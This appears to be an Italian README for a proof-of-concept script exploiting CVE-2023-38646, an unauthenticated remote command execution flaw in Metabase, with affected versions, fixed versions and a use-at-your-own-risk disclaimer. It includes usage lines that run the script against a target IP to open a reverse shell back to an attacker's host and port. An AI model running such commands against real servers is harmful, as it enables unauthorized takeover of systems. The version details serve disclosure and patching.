
Metabase open source prima della 0.46.6.1 e Metabase Enterprise prima della 1.46.6.1 consentono agli attaccanti di eseguire comandi arbitrari sul server, al livello di privilegio del server. L'autenticazione non è richiesta per lo sfruttamento. Le altre versioni corrette sono 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 e 1.43.7.2.
Le versioni di Metabase open source precedenti alla 0.46.6.1 e di Metabase Enterprise precedenti alla 1.46.6.1 consentono agli aggressori di eseguire comandi arbitrari sul server, al livello di privilegio del server. Per lo sfruttamento non è richiesta l'autenticazione. Le altre versioni corrette sono 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 e 1.43.7.2.
La vulnerabilità è presente nell'applicazione che espone lo setup-token, che può essere utilizzato per validare il database tramite api/setup/validate. Un utente non autorizzato può creare un codice dannoso ed eseguire comandi arbitrari.
USO A PROPRIO RISCHIO
Questo script è fornito a scopo educativo e di test. L'autore non è responsabile per qualsiasi uso improprio o danno causato dal suo utilizzo. Assicurati di rispettare le leggi applicabili e gli standard etici. Utilizzando questo script, dichiari di riconoscere e accettare questi termini.
Metabase è uno strumento open source di business intelligence che consente di creare grafici e dashboard utilizzando dati provenienti da una varietà di database e fonti dati. È un progetto popolare, con oltre 33k stelle su GitHub, ed è stato oggetto di notevole attenzione dal punto di vista della ricerca sulle vulnerabilità negli ultimi anni.
usage: CVE-2023-38646.py [-h] -rh REMOTE_HOST [-rp [REMOTE_PORT]] -p PORT -l LOCAL_HOST
options:
-h, --help show this help message and exit
-rh REMOTE_HOST, --remote-host REMOTE_HOST
Hostname of the target.
-rp [REMOTE_PORT], --remote-port [REMOTE_PORT]
Port of the Target Machine (default: Port 80)
-p PORT, --port PORT Port for reverse shell.
-l LOCAL_HOST, --local-host LOCAL_HOST
Your IP Adress
Puoi eseguire lo script utilizzando il comando seguente. Puoi cambiare la porta remota utilizzando l'opzione -rp. La porta predefinita è la 80.
./CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
python3 CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>

Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2